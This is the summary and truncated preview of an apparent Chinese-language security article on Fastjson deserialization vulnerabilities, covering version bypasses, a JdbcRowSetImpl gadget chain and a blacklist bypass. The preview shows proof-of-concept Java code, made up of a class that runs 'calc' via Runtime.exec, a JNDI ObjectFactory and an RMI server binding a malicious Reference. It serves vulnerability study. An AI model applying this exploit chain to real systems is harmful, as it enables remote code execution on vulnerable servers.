主要观点总结
本文介绍了Fastjson反序列化漏洞的详细过程,包括不同版本间的修复与绕过方法,以及利用第三方框架(如mybatis)进行RCE的示例。文章还介绍了一种通用的绕过黑名单的方法,以及针对最新版本的修复策略。
关键观点总结
关键观点1: Fastjson版本漏洞分析
详细介绍了从1.2.24到最新版本的Fastjson在面临攻击时的应对策略和漏洞修复方式。
关键观点2: JdbcRowSetImpl利用链分析
通过详细的步骤和代码,展示了如何利用JdbcRowSetImpl在Fastjson中触发RCE。
关键观点3: 第三方框架RCE示例
通过mybatis框架展示如何利用Fastjson的特性触发RCE。
关键观点4: 通用绕过黑名单方法
介绍了一种通用的绕过Fastjson黑名单的方法,适用于多个版本。
关键观点5: 最新版本修复策略
针对最新版本的Fastjson修复策略进行了介绍和分析。
文章预览
一 实验环境 ◆jdk1.8 ◆windows10 pom依赖 com.alibaba fastjson 1.2.24 先编写一个具有RCE功能的类,和一个工厂类: public class Calc { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { e.printStackTrace(); } } } public class CalcFactory implements ObjectFactory { @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable, ?> environment) throws Exception { return new Calc(); } } 再编写一个简单的RMI服务端: public class RMIServerReference { void register() throws Exception{ LocateRegistry.createRegistry(1099); Reference reference = new Reference("Calc", "CalcFactory", ""); ReferenceWrapper refObjWrapper = new ReferenceWrapper(reference); Naming.bind("rmi://127.0.0.1:1099/Calc", refObjWrapper); System.out.println("RMI se
………………………………